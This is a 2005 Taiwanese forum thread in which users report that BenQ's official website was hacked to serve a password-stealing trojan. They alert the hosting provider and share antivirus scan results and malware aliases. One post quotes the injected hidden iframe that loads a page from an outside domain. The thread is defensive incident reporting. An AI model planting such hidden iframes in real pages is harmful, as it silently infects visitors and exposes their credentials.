|
PCDVD數位科技討論區
(https://www.pcdvd.com.tw/index.php)
- 疑難雜症區
(https://www.pcdvd.com.tw/forumdisplay.php?f=34)
- - BenQ 官方網站被植入特洛伊病毒???
(https://www.pcdvd.com.tw/showthread.php?t=450679)
|
|---|
UPDATE NEWS = ="
BenQ 中控室說無法處理.. 也不會關閉網站.. 要等明天有人上班在處理.. = = 感覺就像知道失火. 就讓他繼續燒一樣. = = 本想打給東森.. 但東森網站上已經有人留言了.. 打電話給東森..想說能不能用快報通知大家不要上明碁網站. 但電話轉轉轉..轉斷掉了.. = = 後想想說 見死不救也有點怪怪的..畢竟是木馬.會竊取無辜使用者資料造成損失的.. 就查了一下IP.是在Hinet.. 電話又轉轉轉.. 轉到IDC.. 曉以大義後..請Hinet直接電話連絡明碁技術聯絡人處理.. 這樣算要告知到[應該告知的人]了吧.. 如果這樣還能拖到明天的話.. 表示這公司文化也是很迂腐的.他做的東西你敢買嗎.. = =凸 PS.感謝Google大神及VisualRoute 8.0a 提供資訊 .. XD 另外唾棄新注音還要讓我重新改一堆錯字.. = = |
呼~~剛剛才把電腦重灌好,想不到有這麼多網兄捨命幫忙測試!
sean1976兄真是熱心公益,堪稱好人幫代表!!! BenQ最近有辦了個買LCD上網註冊,抽LCD TV的贈獎活動, 相信一定有很多人上網註冊的,現在官網被下了木馬,BenQ的人員還 一付事不關己的樣子,要是顧客的個人資料因此而外洩,看BenQ要如何 收拾這爛攤子... :mad: |
<iframe width=0 height=0 src=http://www.szadk.com/***.htm></iframe>
老漏洞了..- - 真的被駭放這種..Orz -- 一個漏洞+一個Trojan-PSW.Win32.Lineage.b最新變種(見圖) kav病毒資料庫已可檢測，但網站上仍是Trojan-PSW.Win32.Lineage.bi而已 .bi是昨天發現的.. (等等試試看提取病毒文件:)) |
利用的漏洞是舊的，不過不算太舊
一些安全觀念較弱的使用者可能還是會中 而木馬本身卻是最新的.. :like: (多了一個樣本嚕) (附上樣本檔，如果版主認為不妥，煩請刪除 :ase ) -- AntiVir 6.29.0.16 02.25.2005 no virus found AVG 718 02.25.2005 no virus found BitDefender 7.0 02.27.2005 no virus found ClamAV devel-20050130 02.27.2005 no virus found DrWeb 4.32b 02.27.2005 Trojan.PWS.Lineage eTrust-Iris 7.1.194.0 02.27.2005 no virus found eTrust-Vet 11.7.0.0 02.25.2005 no virus found Fortinet 2.51 02.26.2005 no virus found F-Prot 3.16a 02.24.2005 no virus found Ikarus 2.32 02.25.2005 no virus found Kaspersky 4.0.2.24 02.27.2005 Trojan-PSW.Win32.Lineage.bj NOD32v2 1.1010 02.27.2005 probably unknown NewHeur_PE virus Norman 5.70.10 02.25.2005 no virus found Panda 8.02.00 02.27.2005 no virus found Sybari 7.5.1314 02.27.2005 PWS-Lineage Symantec 8.0 02.26.2005 no virus found |
下載區似乎只有.exe的執行檔有毒
其餘zip封裝的目前隨機抽樣10種還沒發現，不敢保證 :ase (附上圖片、樣本) ps.不好意思，職業病又犯了XD..佔版面請見諒 :p -- 各防毒軟體命名: Worm.Win32.Viking.a Aliases Worm.Win32.Viking.a (Kaspersky Lab) is also known as: W32/Generic.Delphi.b (McAfee), W32.Looked.B (Symantec), Win32.HLLW.Viking (Doctor Web), W32/LegMir-Z (Sophos), PE_LOOKED.B (Trend Micro), PSW.Lineage.R (Grisoft), Win32.Worm.Viking.A (SOFTWIN), Trj/Lineage.L (Panda), Win32/Viking.A (Eset) Detection added Feb 08 2005 Behavior Internet Worm -- 線上virus檢測: AntiVir 6.29.0.16 02.25.2005 no virus found AVG 718 02.25.2005 Worm/Delf.2.S BitDefender 7.0 02.27.2005 BehavesLike:Win32.FileInfector ClamAV devel-20050130 02.27.2005 no virus found DrWeb 4.32b 02.27.2005 Win32.HLLW.Viking eTrust-Iris 7.1.194.0 02.27.2005 no virus found eTrust-Vet 11.7.0.0 02.25.2005 no virus found Fortinet 2.51 02.26.2005 no virus found F-Prot 3.16a 02.24.2005 no virus found Ikarus 2.32 02.25.2005 no virus found Kaspersky 4.0.2.24 02.27.2005 Worm.Win32.Viking.a NOD32v2 1.1010 02.27.2005 Win32/Viking.A Norman 5.70.10 02.25.2005 no virus found Panda 8.02.00 02.27.2005 Trj/Lineage.L Sybari 7.5.1314 02.27.2005 W32/LegMir-Z Symantec 8.0 02.26.2005 no virus found -- kav8號就發現的病毒居然這麼多防毒軟體還檢測不出，上面表格是no virus found 的可以丟去垃圾桶囉.. :tu: |
放棄了.. 已經過了那麼久.那個木馬還是在.
想必連接到電話的benQ技術聯絡人可能也是抱著上班在處理的心態吧.. 真是讓人唾棄.. 台階都幫你架好了還不會下..該不會明天才說[今天一發現就馬上處理]的這種話吧.. = = PS.我不敢說是好人..只是體認做壞事會有報應. 所以也不敢就這樣見死不救看看就算了.. 加上覺得大公司應該有大公司的作為..不甘願他們這樣瞞混搪塞過去.. 所以罪惡感加上肚爛感驅使我這樣做的...XD |
好奇的是... 不能直接先砍掉那行 <iframe..... </iframe> 作為緊急處置嗎？
|
我之前上D-Link的網站，好像也會出問題，
現在面前這台電腦沒裝賣/卡防毒軟體，有誰可以去證實一下嗎？ |
去年的入侵作法是先走Download.Ject漏洞入侵IIS伺服器
藉此種下病毒種子 再搭配IE的IFRAME漏洞感染用戶端 印象中 青雲官網, GAMEBASE, OC等在去年就有過類似事件 MS也在去年出了PATCH防堵 沒想到現在還有... 也有可能是新的入侵手法吧 ^_^ 不過這個不是隨便一個人就能管及知道怎做的 一定要找到有更動伺服器架構權限的人才行 |
引用:
不行...因為主機放在Hinet IDC.. 能管理網站的人[放假中]..就這麼簡單.. |
| 所有的時間均為GMT +8。 現在的時間是09:46 PM. |
vBulletin Version 3.0.1
powered_by_vbulletin 2025。